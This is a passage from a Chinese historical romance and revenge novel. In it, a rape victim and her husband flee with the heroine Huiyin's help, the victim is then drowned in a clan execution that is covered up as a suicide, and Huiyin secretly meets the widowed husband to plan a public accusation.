萧纷儿脸皱成一团,无助的痛哭出声,身形颤抖:“可是,后来我却被压在这副画下,被苏信肆意羞辱!” 她无助的开口:“所有人都在辱骂我,骂我是□□,□□,我不是!我不是!我很爱我的夫君,我想和他过一辈子!” “有人质问我,你被侮辱时为什么不奋力反抗,或是以死相抗。还有人说,被侮辱后,你为什么不立刻自尽保全名声,他们说都是我的错,我……真的是我的错吗?” 徽音忍不住上前抱住失声痛哭的萧纷儿,抚着她单薄的背脊安慰:“不是你错!错的是他们。萧纷儿,你没错,死的也不该是你!” 萧纷儿摇头,轻声道:“我活不了,我怀了苏信的孩子,纵然询郎不嫌弃我,不怪我。可我不能自私,他有大好前程,不能因为我一辈子蒙羞抬不起头。” 徽音急道:“若不是他没有护好你的,你又怎会被苏信所迫?倘若他带着你回到平府,那苏信如何能冒犯得了你。如今事发,他不能还你公道,却要逼你去死,这是什么道理!” 萧纷儿望着徽音失笑,明明是笑,却比哭还涩,“你不懂,我愿意为他去死。何况,苏家,平家,乃至太后和陛下都不放过我,我今日不死,明日也是要死的。” 徽音浑身无力,是啊,事情到了这个地步,谁都可能活,唯有萧纷儿,这天下容不得她活。 她后退两步跌落倒地,造成这一切的是她,是她亲手逼萧纷儿上绝路,如今还假惺惺跑过来,真是可笑。 颜娘扶住跌倒的徽音,担忧的望着她,她可怜萧纷儿的遭遇,可人有远近亲疏,十根手指有长有短。对与颜娘而言,徽音才是最重要的。 萧纷儿慢慢走近主仆二人,蹲在二人面前,轻声问:“徽音,我能这么叫你吗?” 徽音点点头。萧纷儿莞尔一笑,释怀道:“徽音,你没错,我有幸听过你弹奏的《铙歌》,我希望你也能像那首曲子一样,勇往直前。” 萧纷儿流着泪笑着将两人送到门口,她脚步蓦然顿珠,僵立在原地。 徽音顺着她的目光看去,一个清秀男子无声站在屋外,他不知听到了多少,满脸泪痕。 徽音猜到他的身份,萧纷儿的夫君,平桢。 萧纷儿浑身颤抖,无力的撑着门框,泪珠滚落:“你听到了多少?” “全部。”平桢如是答道。 萧纷儿抬头深吸一口气,艰难道:“打胎药,买来了吗?” “买不买来重要吗?你不是要背着我自尽吗?”平桢语气及其冷漠,与他温和的外表并不相符,他提起手中的药包扔在萧纷儿脚下。 他越过三人走进屋内,眼风未动半分,大步跨过萧纷儿撕碎在地的帛画。从木橱柜底翻出一把弯刀匕首,将鞘掷用力在地上,举着明晃晃的刀锋看着萧纷儿。 “你死,我立马随你自尽而去。” 萧纷儿不敢上前,她无助的摇摇头,乞求的望着平桢,“询郎……不要这样……求你。” 平桢神情未动,将刀锋横颈脖上,继续道:“或者,我先你一步去。” “不!”萧纷儿凄厉的哀求,她跪坐在地上,捂着胸口遥遥望着平桢。 徽音看不下去,上前扶起萧纷儿,冷冷的质问平桢:“你威胁她有什么用,她难道不想活吗?” 平桢猛的踢翻面前的案几,案几上的竹简陶碗摔成一片狼藉,他指着徽音怒吼道:“你闭嘴,你怎么有脸说,若不是你,如何能弄成这样!” 他神情疯狂,清秀的脸色布满扭曲,颜娘担心他会怒而伤害徽音,守在徽音身后,警惕的盯着平桢。 “ 你说的没错,”徽音直起身,不顾颜娘的阻止走到平桢面前,平静道,“我人就在这里,你要报复尽管来。” 颜娘大骇,连忙去拉扯徽音想要带她离开,早知道会弄成这个样子,说什么她也不会由着徽音乱来。 徽音朝颜娘摇摇头,“是我的错,我认。”她转头望向平桢,目光平静,“动手吧。” 平桢胸膛上下起伏,他握紧手中的刀锋缓缓走向徽音。就是面前这个女人,毁了他的纷儿。 萧纷儿苦苦哀求:“询郎,不要!” 平桢手臂青筋爆起,猛然抬手举刀挥向徽音。颜娘哀叫一声,扑上去前阻止。 徽音立在原地不躲不闭,眼睁睁的看着刀锋划过。 下一瞬,匕首落地清脆的声音响起,平桢苦笑两下,越过徽音和颜娘,抱住跪地的萧纷儿痛哭出声。 “对不起纷儿……她说的对,是我害了你。若非我坚持不肯回平家,苏信又怎么回找到机会。是我害了你啊!” 平桢紧紧将萧纷儿抱在怀中,泪眼朦胧,他是个废物,连妻子都护不住。昨日平家和宫中太后已经下了死令,要他逼死萧纷儿。 他不能,也不愿,却无能为力。 “我是个废物,护不住你。” 萧纷儿捧着平桢的脸,温柔的拭去他的眼泪,安慰道:“不怪你,询郎,你已经为我做的够多了。若非遇见你,我早让阿兄卖给乡绅做妾了,能遇着你,妾不悔。” 平桢埋头靠在萧纷儿肩侧像个孩子一个嚎啕大哭,太后为了维护平家的声誉,绝不会容许纷儿活着,赐死的旨意马上就到,他要如何才能保住纷儿。 平桢抬起头擦干泪,露出笑容:“纷儿,你先去,夫君答应你,随后就到。” 萧纷儿泪珠连连,不住的摇头:“不,你好好活着,你前途大好……” “没有你,位列三公又有何意义!”平桢打断萧纷儿,不容置疑道,“我们一起去地府,也许来生还能再做夫妻。” 萧纷儿哭声一滞,再也开口说不了话,埋头在平桢怀中低泣。 颜娘看不得这场面,背过身低头拭泪。徽音从方才就一直背对两人,望着地上掉落的匕首默默流泪,要用两条无辜的性命去搭复仇的路,她做不到。 人生在世,总有可为和不可为,若无视人命,丧尽良知,那与禽兽何异? “有条路能让你们活,愿意吗?”徽音擦干泪,转身望着地上相拥的两人说道。 平桢露出喜意:“什么路?” “需要你放弃贵族子弟的身份,放弃你大好的前程,荣华富贵。从此以后只能隐姓埋名,生活在乡野之中,你愿意吗?” 平桢大声道:“我愿意!只要能救纷儿的命,让我死我也愿意。” “好!平桢,我接下来的话你一定要记好。你现在就收拾好家中财物,带着萧纷儿去黑市买假户籍和引路,再寻行贾之人运你们出城。 “切记,不许向任何人透露你们的行踪和身份,包括能查到你们身份的物件。出城后,带着萧纷儿一路走小路,找一处乡野之地等几年避过风头后,再搬去都城居住。” 平桢面露欣喜,连连点头,起身去翻家中的财物。 徽音摘下头上的玉簪,珍珠耳铛,以及颜娘身上携带的剩下余钱全部塞到萧纷儿手中。 她望着这个因她而毁掉一生的女人,细心叮嘱:“这些你拿着,不要给平桢。记住,无论何时,绝不能将所有的希望寄在男人身上,若遇事,保全自己才是最重要的。” 萧纷儿接过东西,含泪点头,“那你呢,你的仇?” 徽音朝她微笑,安慰道:“不着急,总有机会的。” 送离两人相携离去的身影后,徽音带着颜娘朝积香寺走去,她这次不是祭奠父母,而是去乞求漫天神佛,保佑这个无辜的女子平安顺遂。 第25章 死一个萧纷儿怎么够。…… 夜幕降临, 北阙的宫门紧闭,宫墙之上,巡夜的羽林卫手持长戟, 脚步沉稳,甲胄随步伐发出轻微的摩擦声。 宫门前的石兽沉默伫立, 风灯在夜风中摇曳,小偏门“吱呀”一声开启,一名黄门侍郎手持符节快步走出,低声对守门的卫尉说了几句。 卫尉颔首, 挥手示意,两名郎将立刻推开偏门, 门内走出一个男子, 头戴武冠,身着深青色曲裾深衣, 衣缘以朱砂与金线绣出云雷纹,腰间右侧挎着一把错金环首刀。 等候在宫道外的驰厌看看裴彧后立马牵着乌骓走上前,将缰绳递过去,两人翻身上马,疾驰而去。 乌骓停在裴府门口, 守在门后的马夫仆从见状连忙迎上来, 将乌骓牵进马房内。裴彧回首叫住马夫:“今日府内有人出去吗?” 马夫回想片刻, 恭敬回道:“只宋娘子出门了, 没叫马房套车。” “知道了。” 裴彧径直回了朔风堂, 今日陛下将他传唤进宫, 告诉他平祯携带其妻离京,不知去向。案件重要人物失踪,乃他廷尉署失职之罪, 陛下限他三日带回平祯,至于萧氏,就地处决,了结此事平息风波。 也不知苏文易出了多大的血,私下和平家达成协议,不再追究苏信的罪,只要萧氏死,造成她自尽的假象,将一切罪过都推到她身上,两家联手将风波压下,面上依旧还是亲如手足的假象。 世家利益,莫过于此。 他招手唤来一名杂扫的男仆,吩咐:“去前院将方木找来。” 裴彧脱下外袍,走到东墙面挂着的虎皮地图上,以平祯二人的脚程,两人此刻一定还在长安范围内,十二处城门口皆未查到二人的路引,应该走了黑市路子。 黑市做生意买卖的就那么几家,很好就查到了,闻人颉已经交代,今日下午确实有一男一女找他买过假户籍和路引,由他送出城,在长安东郊的双溪林就下了车,不知去向。 平祯此人,每日除了在宫中当差,回家,和萧氏出门闲逛外就是和同窗小聚。他根本不可能会知道黑市,更不可能会有如此心计脱身,他的背后一定有人在支招。 是谁呢,宋徽音?如果整件事情是她所谋划的,那现在也达成了她的目的,她又为什么要临时改变计划送平祯和萧氏走。 “少将军。”方木退靴进屋,拱手向站在地图面前的裴彧行礼。 裴彧颚首,下令道:“拿着我的符节去调虎贲卫队,从双溪林东西方向搜查,沿途的村落也不要放过,除了人之外,异常财物也要格外注意。” “另外,从你的骑兵卫队下拨两个人,监视宋徽音,她的一举一动都要报过来。” 方木起先还听的好好的,点头应下,听到这最后一句话的时候他点头的动作一顿,疑心自己听错了,连忙确认:“少将军说的是宋娘子吗?” 裴彧没心情陪他装傻,漠然道:“这是军令。” 方木浑身一震,立马站直身体,神色严肃,拱手行礼:“是!末将领命!” 他快步出屋,拿着裴彧的符节赶往虎贲卫队掉兵,路上遇见同样行色匆匆的驰厌。 方木加快脚步迎上去,抓住驰厌的手臂询问:“今日宫中出了什么事,为何少将军让我找人监视宋娘子?” 驰厌同样一愣,不明所以:“你说什么?” 方木挥手嫌弃道:“你先别问,先告诉我宫中出了何事?” 驰厌摸不着头脑:“平桢携萧氏出逃是廷尉署失职,陛下训斥了少将军一顿。还有,平太后也派人告知少将军,三日内一定要了结此案,可这与宋娘子有何干系?” 方木听着也没问题,他心中揣揣不安,总感觉有大事发生。外头更夫敲锣的声音响起,已近酉时,他得赶在宵禁前带兵出城。方木不再耽误,匆匆告别驰厌离去。 夜色沉沉,唯有铁甲轻响,如箭离弦,一队精兵转瞬消失在茫茫夜色之中,城门轰然闭合,只余一缕尘烟,被风吹散。 —— 月光明亮,村中低矮的茅舍三三两两的聚在一起,黄土泥墙在月光下泛着灰白。几户窗隙透出微弱的火光。 平桢带着萧纷儿推开村口最北角处的夯土房,灰尘铺面而来。他挥散尘土,找到一盏还能用的陶灯灌上灯油点燃。 火光照亮这间屋子,这是间破败依旧的土房,屋顶还是茅草搭盖,门框破损严重,好在墙壁都还完好,屋内也还有榻可以睡。 他擦干净榻上的灰尘,从包袱里翻出一件干净的裾袍垫在榻上,将萧纷儿安置好。萧纷儿怀有身孕,一路的奔波让她看起来脸色极差。 平桢从破旧的茅草房了翻出一个药坛,熬煮着路上买来的安胎药。 萧纷儿发觉有孕后就一直想打了这胎,是平桢劝住她。他亦恨苏信,更厌恶这个孩子,没有哪个男人能受的了这样的侮辱。 可萧纷儿身体弱,平桢之前就请过医官给她看,这胎若是落了,于她身体有很大害处,甚至会影响她的寿数。他不愿伤了她的身,便想着,就这样吧,将这孩子生下来,他会视作亲生的一般,好好将他养大。 他煮好药端给萧纷儿,萧纷儿却不愿意碰那药,她恨死苏信了,只盼这个孩子就此落掉,一了百了。 平桢不敢告诉她真相,劝慰道:“咱们还得东躲西藏一段日子,若是这个时候你有个什么不好,那就坏了,听话,喝药。” 萧纷儿望着平桢疲惫的面容,忍住泪将药一饮而尽。喝了药,她困意袭来,躺在平桢怀里静静靠着他。她想起了很久很久以前的事情,久到她都及不清晰了。 她遇上平桢的时候才九岁,平桢也才十一岁。她家住在苍栗村,平桢是随他母亲流落到她们村的,一个女人孤身带着一个孩子,过活的很艰难。 平桢从小就吃不饱,穿的破破烂烂,经常跑到村口蹲着,跟村口那条大黄狗抢食。有好几次都差点被咬伤。 萧纷儿看不过去,她那时父母尚在,吃穿不愁,便省下自己的口粮给平桢,一来二去两人便熟悉起来。 十五岁那年,父母相继病逝,家中由阿兄当家,阿嫂嫌弃她,又见她生的貌美,蛊惑阿兄将她卖给年过五十的乡绅为妾。萧纷儿不愿意,却也无可奈何,眼睁睁看着阿兄阿嫂收了聘金,将她锁在屋中待嫁。 是平桢,他趁夜偷偷来找萧纷儿,问她:“愿不愿意和他走?” 萧纷儿一直记得那夜,少年面有薄汗,他明明也是那么害怕,却坚定明亮的望着她,说要带她,会一辈子照顾她,陪着她。 两人历尽千辛万苦来到长安,做过脏活累活,凭本事在长安安置了一个小家,没有亲朋好友见证,就这样拜了天地,结为夫妻。 后来,平桢被平家寻到,他们让平桢回平家继承三房,让平桢休了她或者贬妻为妾,他们会替平桢再择一门高门贵女为妻。 而平桢,什么都没有说,只是紧紧握着她的手,赶走了平家人。 萧纷儿知道,外面有很多人都在嘲笑平桢,笑他傻,笑他为了一个孤女放弃唾手可得的权势和富贵,还有骂他假清高,沽名钓誉。 只有萧纷儿知道,不是这样的。她见过平桢伏在他那病死的阿母榻前痛哭流涕的样子,也见过平桢在乡野同野狗抢食的模样,见过他寒冬腊月长满冻疮的手指,被人野种野种叫着长大。 平桢长大这么大,全凭他死去的阿母和他自己,没半分靠过平家。他不回去,除了因为她,还为他早死的母亲,他不想叫别的女人阿母。 萧纷儿闭上眼,紧紧抱住平桢。 平桢以为她在害怕,抚摸萧纷儿单薄的背脊安慰:“别怕,我想好了,我们就还和以前一样,寻一处乡野静地,日出而作,日落而息。” “再生几个小子,我教他们读书写字。等风声过了,我就带你回乡,好不好?”平桢低头望着怀中的萧纷儿,面带笑容。 萧纷儿闭着眼流泪,她说不出话,只能不停的点头拥紧平桢,彷佛要和他融为一体。不知为何,她心慌的很。 平桢轻柔的擦干她的泪,哄道:“睡吧。” 他抬手想去灭掉烛灯,忽然想起什么,连忙下榻去包袱中翻找,将衣裳扔的满处都是。怎么可能,怎么会不在了,他记得明明放在包袱里啊! 萧纷儿支起身,问道:“询郎,你在找什么?” 平桢冷汗淋淋的呆坐在地,他收拾包袱时将阿母留给他白玉坠子带上了,那白玉坠子是证明他身份的东西,也正是凭那白玉坠子他才被认回平家。 他的本意是带着做个念想,没想到,那坠子不见了,是在哪里掉的呢。这一路上他只有在买安胎药的时候动过包袱,难道是掉在药铺里了? 平桢不敢再想,那坠子要是被人捡到认出来,他和萧纷儿的行踪就完全暴露了。那白玉坠子,顷刻间成了他们的催命符。 他立马将包袱收拾好,去拉榻上的萧纷儿,急促道:“纷儿,我们不能留在这里了,我们得赶紧走!” 他拉着萧纷儿急急忙忙出屋,原本还寂静的夜里突然马匹嘶鸣,屋外火把连成一片,犹如火龙,将他们吞噬。 平桢呼吸急促,他们已经追来了吗? 萧纷儿心下发沉,她抱着平桢的手臂紧紧的靠着他,望着门外的精兵部曲。脑子里想起徽音叮嘱的话,“不论何时,都先要保全自己。” 她松开平桢的手臂,在那群人破门而入时向后钻去,平桢见状冲上去拖延那群人,高声喊道。 “要抓她,先越过我的尸体!” 他像只无头苍蝇一般乱撞出去,撕拉咬拽全部用上了,不肯放过任何一人去追萧纷儿。 萧纷儿身形瘦小,身体里彷佛生出无限力气,又是黑夜里,竟还真让她冲出去了。她心里头只有一个想法,她想要活下来,想要跟平桢过他口中的那种生活,她不想死! 她奋力的冲向前,脑中已经辨不清方向,胸腔处涌上一股铁锈味。 只是,无论她多么用力,跑的多么快,依旧不及身后骑兵迅速,那骑兵像一阵风,黑夜里犹如明昼一样骑行,竟无半分困难,眨眼间就来到萧纷儿身边,轻轻松松就将提起放在马上,往回赶。 —— 残月高悬。 数百部曲驻守在双溪林内,手中的火把将黑夜照得灯火通明,苏侑望着身边的平嵘,神色恭谨。 而平嵘则是看着守在最远处的等候着一队高头骑兵,不知在想些什么。 苏侑是苏文易的长子,亦是苏信的亲兄长,他此次是奉父命前来和平嵘一起处理萧氏,平息风波。长乐尉卫平嵘,是平曲侯平宪章的大儿子,平家下一任的掌舵人人,他自然是要交好的。 “尉卫大人,时辰到了,可以动手了。” 在他们二人身前,平桢双手被绑在身后,被两个褐甲部曲压在地上,他不住的挣扎悲嚎出声,眼神紧紧望着前面的萧纷儿。 萧纷儿被人关在等身高的猪笼里,笼里装满青石,她被五花大绑着,口中还绑有布条,不曾挣扎,只是呆呆的望着平祯的方向流泪。 听见身后的话语,平祯奋力挣脱制止他的两人,踉跄着跪在平嵘面前,乞求道:“大兄,求求你,放过纷儿吧。我保证,以后你们说什么我都听,绝不再忤逆你们。求求你了!” 他“砰砰”磕在泥地上,不停的磕头求饶:“求你了,大兄!求你了……” 平嵘收回视线,凝视头破血流的平祯,不屑的笑了笑,他从来没承认过平祯的身份,平祯也没承认过他,他还当平祯是个硬骨头。 没想到第一次唤他大兄,朝他下跪磕头,居然是为了一个不洁的女人,平嵘是在难以理解平祯的想法,为了一个女人,不愿意回平家,不愿意迎娶高门贵女向上走,实在是个蠢人。 他懒得和平祯多费口舌,抬手下令:“沉塘!” “不要!不要!纷儿,纷儿……” 平祯回头望去,已经有四个人抬着猪笼朝水边走去,他心中大骇,扑过去阻拦,却被人制在原地,眼睁睁的看着他们将萧纷儿扔下水。 “不!”平祯泪流满脸,撕心裂肺的喊道:“裴将军,求求你了!帮帮我,纷儿是无辜的,她是无辜的啊!” 他没有办法了,平嵘和苏侑绝不会帮他,他们的目的就是要萧纷儿死,好死无对证为苏信脱罪。他看见裴彧的卫队骑兵了,只要裴彧愿意出手,纷儿就能活。 “裴将军!裴将军!求你了!” 平嵘和苏侑也不同转向那对寂静无声的骑兵,领头人正是领裴彧命令出城的方木,他此刻也很为难,他私心里是同情平祯和萧纷儿的遭遇,可是军令如山。 方木接到命令是将平祯二人的行踪透露给苏平两家,其余的他什么都不用做,只用跟在两家身后就行。 骑兵卫队久久无人应声,平嵘和苏侑也同时松了口气,倘若裴彧要插手,他们还真没有办法。 平祯嗓子沙哑倒在地上,静静的看着萧纷儿沉入湖底,水面恢复平静,悄无声息。他眼角沁出血泪,趴在原地。 平嵘和苏侑等上一刻钟,确认萧纷儿必死后才互相拱手敬礼,相互寒暄两句率人离去。 方木望着平祯僵硬的身体,叹了口气,冲着平嵘和苏侑的方向略一拱手,扬长而去。 午夜子时,萧府朔风堂内,那枚遗失的白玉坠子正静静躺在裴彧的紫檀书案上,方木立在一侧,将今夜发生之事原原本本的告知裴彧,包括平祯最后苦苦的求救。 “你同情他们?” 方木迟疑片刻,点点头。 “你是想问我,为何不帮帮他们?” 方木却摇摇头,神色无比认真:“卑职浅薄,不懂这些谋算。但卑职知道,少将军有自己的打算。” 裴彧难得多说两句:“此事就此终止是最好的。再拖下去,就会从一桩通奸案变成党争之分,死一人还是死千人,你怎么选?” 方木回答:“自然是死一人最好。” 裴彧走到窗前,望着天上高悬的明月,叹道:“是啊,死一人最好。” —— 艳阳刚刚爬上屋顶时,徽音就醒了,今日是立夏,屋子里的已经开始闷热起来,她掀开身上的被褥,迷离迷糊想着,得叫颜娘帮她换被子了,夜里有些热。 徽音走到案桌前喝了杯水,干涩的嗓子才好转过来。她打开木窗,初夏的莲湖,水面上漂着刚长出来的荷叶,几朵早开的莲花冒出水面,粉粉的花苞尖上透着红。 没过一会,颜娘便端着饭食进屋,摆在案几上,小碟里放着咸豉蛋羹,方形漆盘里黄米蒸熟后捏成团,淋上蜂蜜的黍米蜜团,外加一碗小米和大豆熬成的浓粥,面上浮着笋丁和野菜。 徽音用完饭,呆呆的望着颜娘收拾被褥的动作,平桢和萧氏走了,这桩通奸案自然就没法做文章了。 她只能暂时将目光从苏信身上转移,先查阿父的案子,她现在无人无钱,只能想办法利用裴彧,拿到想用的消息。 颜娘收拾好床榻,将屋内的木窗和门都打开散风,同时将木橱柜里冬日的衣服翻出洗净晒干。 她捧着一堆衣裳下楼吩咐阿桑和阿蘅去处理,一楼堂屋内还有裴夫人送来新制的夏裳,布料柔软,颜色明媚。 颜娘便将这堆夏裳拿上楼,打算叫徽音试试,不合身拿去再改。 颜娘才刚走到楼梯口,就看贺佳莹提着裙摆咋咋呼呼的朝临水阁跑来,她穿着一身朱锦花色曲裾,奔跑间衣裙翻飞,如一只春日的花蝴蝶。 离得近了,颜娘听见她口口嚷嚷道:”不好了!不好了!出事了,萧纷儿死了!” 颜娘手中的漆盘落地,新制的衣裳掉落在地上染上灰尘。她抬头去看二楼,心慌的可怕,连忙扑出去,想叫贺佳莹闭嘴。 可已经晚了,徽音连外裙都没穿,一身素白里衣的跑下楼,失魂落魄的走到贺佳莹面前,苍白问道:“你说什么?” 贺佳莹还是第一次见徽音这么失礼的时候,她愣愣回道:“萧纷儿投湖自尽了。” 徽音眼前朦胧一片,听不见任何声响,她脑中只剩萧纷儿那张泪水涟涟的脸,她的绝望和悲戚。 颜娘上去扶着徽音摇摇欲坠的身体,扶着她坐下,她不知该如何安慰徽音,如何叫她不伤心。 徽音好半天才缓过来,木木的问:“消息哪来的?” 贺佳莹浑然不觉蹊跷,大喇喇道:“满城都知道了,萧纷儿自尽前留下一封血书,称是她勾引的苏信,如今东窗事发她无脸见人,遂投湖自尽了。” 贺佳莹叹道:“真想不到,我从前还当她是个好的,没想到知人知面不知心。” 颜娘惊出一脑门汗,连忙给贺佳莹使眼色闭嘴,奈何贺佳莹跟缺根弦一样,凑近她面前疑问:“颜娘,你眼睛怎么了,不舒服吗?” 颜娘嘴角抽了抽,挥手打发她,转头望向徽音,徽音脸色比方才好看,但依旧苍白无力。 徽音问:“那平祯呢?” 贺佳莹摇摇头,走到锦席边坐下,拿个了洗净的梨在手上,“不知道,没听到他的消息。” 她拿过小刀切梨,分成四小块,分别递给徽音和颜娘,奈何她们都摆手不吃,她便自顾自啃起来,突然想到什么。 贺佳莹猛的拍向案几,将案几上的刀震落在地上,带起一片声响,她大声道:“我听说平家和苏信家已经达成一致,不追究苏信的过错,今日两家一同上书陛下为苏信求情。我估摸着他最多便是被罚几大板,此事便了,可惜了萧纷儿一条命。” 若说颜娘之前对贺佳莹是不冷不淡的,但她方才那番言论确实叫颜娘放下了对她的偏见,颜娘忍不住问道:“你方才不还说萧纷儿不是好的,怎么又替她抱不平。” 贺佳莹横眉冷哼:“萧纷儿是有错,那苏信未必就是好的,此人连庶母都能强迫,哪里像个东西。要我说,死一个萧纷儿怎么够,那苏信也得死。” 一直没有动静的徽音这时突然发问:“昨夜裴彧出府了吗?” 贺佳莹回道:“没,倒是方木出府了,我院中的婢女撞见了,你问这个干什么?” 徽音没有回答,而是撑着颜娘慢慢起身走上楼,她走到楼梯口停住脚步,声音轻柔而坚定:“你说的对,死一个萧纷儿怎么够。” 贺佳莹不明白她在说什么,徽音身上有一种她看不清的谜团。此刻,她明明脂粉未施,只穿了一件里衣披头散发的站在那里,却有一股难以明说的吸引力,叫人不自觉想要亲近。 无关她的容貌,无关她的身份,只是她这个人,让人想要靠近。 第26章 柳檀之妹 晨光透过雕花木窗, 斜斜洒进内室,徽音跪坐在漆绘妆奁前,颜娘捧着木梳篦, 从她的发根缓缓梳至发尾。 她将徽音乌黑浓密的发丝分作三股,两股挽至头顶盘成同心髻, 余下一股垂在脑后,在临近腰间的地方用茜草染红的丝绳缠紧。再在发髻间斜插一支彩绘漆木簪。 收拾好后,颜娘取来一套青色罗纱直裾,罗纱透孔, 夏日亲肤透气。青色衬得徽音白皙的肤色越发如玉,眉眼清亮, 只是那眼里像是蒙着一层雾, 明明近在咫尺,却又向远在千里。 颜娘有些心慌, 打开妆奁扁盒,取出朱砂膏点染徽音的唇瓣,再用茜色胭脂在徽音颊畔轻扑上妆。这才为徽音增添几分鲜活,镜中容颜如初雪映霞,与方才多了几分人气。 “徽音, 你要做什么?”颜娘轻问出声。 徽音起身下楼, 腰间的玉珏发出轻音:“去找平祯, 只有找到他, 才有翻盘的可能。” 颜娘又问:“他在何处?” 徽音走到堂屋口, 回望身后的莲湖, 她的面前似乎浮现了昨夜萧纷儿被沉湖的场景,如果她是平祯,会怎么做? 贺佳莹还在临水阁院内和婢女玩赌棋, 看见徽音收拾好下来,她摇摇招手问:“宋徽音,你要出门吗?” 徽音朝她莞尔一笑,“是,你要一起吗?” 贺佳莹被她的笑颜晃荡了下眼,在她印象里徽音从来没对她这样笑过,往常徽音对她都是淡淡的,再就是冷脸训斥和威胁。 她拍拍衣裙起身,开心的笑起来:“好啊!今日你想买什么我请客!” 徽音这次是真笑了,眼底笑意绵延:“我怕你请不起我。” 贺佳莹轻哼出声,走到徽音面拍拍鼓鼓囊的钱袋,得意道:“我可是很有钱的,养你一个绰绰有余。” 她来到裴府这些年,光每年正旦收到的厌胜钱就不是一笔小数目,更不要说宫中裴后赐下的金银珠宝,裴彧和裴衍逢年过节送的礼物,单就裴夫人那里,给她的银钱就多如流水。 贺佳莹出行与徽音的低调不同,她是十足的贵女做派,选的是一驾朱漆双马安车,车帷上绣的雀鸟纹随晃动若隐若现。四名梳双鬟的婢女小步跟在车侧,身后还坠着两名青衣近卫。 车内四面密闭,厢壁用锦缎做衬,仅在车门前方设纱窗遮挡,锦席木几一应俱全,徽音坐在车门口,掀开纱窗环顾市道和行人。 嘈杂声传入车厢,贺佳莹凑过去不解道:“你在看什么,这些市井小民有什么好看的?” 她看到窗外那些妇人男子投来的打量,虽然不带恶意,也令她很不舒服。 贺佳莹靠近徽音,忽闻到她身上的清香,混着初春梅蕊的冷冽,带着一缕甘甜,好闻的紧。她慢慢靠过,将头搁在徽音肩上轻嗅。 徽音肩头一沉,肩上靠过来一个脑袋,她回头看了眼贺佳莹没说什么,继续去环视四周。 贺佳莹也不再在意外头那些人的打量,她挽住徽音的胳膊,亲亲热热的靠在她肩头。 徽音目光忽而凝住,盯着门前挂着松枝与青布幡的食肆看了几息,随后朝贺佳莹道:“先用饭罢,就去那家。” 贺佳莹抬头顺着她指着的方向望去,那是一间叫河间羹鱼铺的寻常饭肆,有上下两层,好在门口还算干净,人也不多,她点点头,叫停马车。 两人下了车,身后的颜娘和婢女侍卫立马迎上来,护着二人进了食肆。食肆的老张头看见这阵仗,连忙擦干手迎出来,一脸笑容问:“女郎们要用些什么?” 贺佳莹皱着眉,她是第一次来这种地方,她环视一圈,食肆是前店后坊结构,后坊的土灶上炖着肉羹,散发肉香。 大堂内,两张榆木长案摆在正中,案面被经年累月的油渍浸得发黑。案旁围着几只蒲草席当做坐板使用。她有些嫌弃的捂脸,不开心的望着徽音。 徽音没注意到她的动静,望老张头道:“有雅座吗?” 老张头连连点头,躬着身体引徽音二人朝楼梯口走,语气轻缓:“女郎们随我来。” 二楼的雅座干净不少,漆案上摆用青布覆着,屋内烧着兰惠香,坐具也从蒲草团变成柔软的粗布垫。 徽音率先坐下,吩咐老张头将店里的招牌菜都上了一份,再上一壶浆果饮,等人走了后,贺佳莹才不开心道:“那么多上好的酒楼,为何偏偏来这里了?” 徽音问:“你不喜欢这里吗?” 贺佳莹皱眉:“这里太嘈杂了。”坐在二楼,连外头街道的叫卖声都清晰可闻。 “这里的味道很好,不必梁园赋差。” 贺佳莹疑问:“你怎知,你难道来过这里?” 徽音替她倒了杯茶,轻描淡写道:“宋家落败后,我什么地方没去过。” 贺佳莹也想到徽音身上发生的那些,她不好意思的摸摸脸,乖乖坐下不再抱怨。很快,她的视线就被市道上叫卖的吆喝声吸引过去,拉着疏影凑到窗前细看。 徽音带着颜娘下楼,吩咐那个侍卫在雅座门口守着,她们马上就回。侍卫不疑有他,拱手称“诺”。 大堂内已经陆陆续续坐着几个短襦汉子在喝汤,颜娘挡住他们的视线,扶着徽音去了后坊。 后门吱呀作响,那里立着一个清瘦的人影,衣衫眼熟,他慢慢转过身来,头发散乱,眼角发红,唇边的青茬异常显眼,赫然是昨日带着萧纷儿离开的平祯。 颜娘停住脚步,守在后坊门口。 平祯胸腔上下起伏,异常的愤怒的望着徽音质问:“你是裴府的人,你的故意诓我们离京的是不是!” 徽音上前一步,急促道:“告诉我你们出城之后发生了什么?” 平祯恶狠狠的盯着她,厌恶至极:“还在装,你和裴彧就是一伙的。” 徽音心中发沉,她最担心的事情还是发生了,她一直在猜裴彧对太子的态度,试探他的界限,没想到,他为了维护太子和苏信,真的杀了萧纷儿。 “不管你如何想,我昨日是真心想送你们走,你今日还愿意来找我,不是想让我帮你复仇吗?” 平祯沉默片刻,强硬道:“这是你欠我和纷儿的,你要帮我。” 徽音点头:“我不仅是在帮你,也是在帮我自己。” 平祯问:“我要做些什么?” 徽音走到平祯身边,凝视着这个面色惨白的男人,最后一次询问:“你是否真的愿意抛弃你现在拥有的一切,只为替萧纷儿讨一个公道?” 平祯斩钉截铁:“豁出这条命,也在所不惜。” “好,那你就敲锣打鼓,昭告全天下,你的冤屈,萧纷儿的冤屈,请天下人来还你公道。” 平祯追问:“然后呢?” “公堂对峙,但在那之前我们要有足够的证据证明苏信的罪。” 颜娘频频呼唤徽音,她们出来的时间不短,那两名侍卫已经找下来了。徽音来不及多说什么,快速叮嘱平祯几句话转身离去。 她匆匆忙忙的和颜娘回到大堂,正好撞见下来找她们的的裴府侍卫,看见她们后迎上来,侍卫挎着金错刀站在徽音面前,挡去大堂内打量徽音的目光。 徽音和颜娘进雅座时,贺佳莹生在品尝老张头上的莼菜鱼羹和羊肉饼,看见徽音她连忙招手,咽下口中的食物说道:“快来,真的很好吃!” 徽音坐过去,拿起木勺品尝鱼羹,味道一同往日。那时阿母重病,心心念念想吃一道家乡的鱼羹,徽音便和景川跑遍东西两市,找到了这家店。 陶碗中的莼菜鱼羹腾热气,仿佛能看见阿母口中云梦泽的美景,鱼肉细腻,汤底醇厚。徽音从前很想回荆州看看,去看看阿父阿母长大的地方。 宋父也答应过,在徽音出嫁前,一定会带着一家人回荆州去祭祖,可惜,这个愿望实现不了,徽音吹开热气,咽下羹汤,她会回荆州的,她会带着阿父和阿母回去的。 用完饭徽音已经不想再逛了,她今日的目的已经达到,只想快点回去疏离案件,找出突破口。奈何贺佳莹兴致冲冲,非要拉着她去逛琳琅阁。 徽音也知道这家,是长安城内最大首饰阁,京中贵戚夫人女郎最爱去的地方。 贺佳莹眼神发光碎碎念叨:“我曾在姨母那里见过一只翠蝶振翅的对钗,手艺精湛栩栩如生,可好看了!” “我听说最近琳琅阁新进了一批首饰,我买给你好不好?”贺佳莹双手托着下巴,亮晶晶的望着徽音。 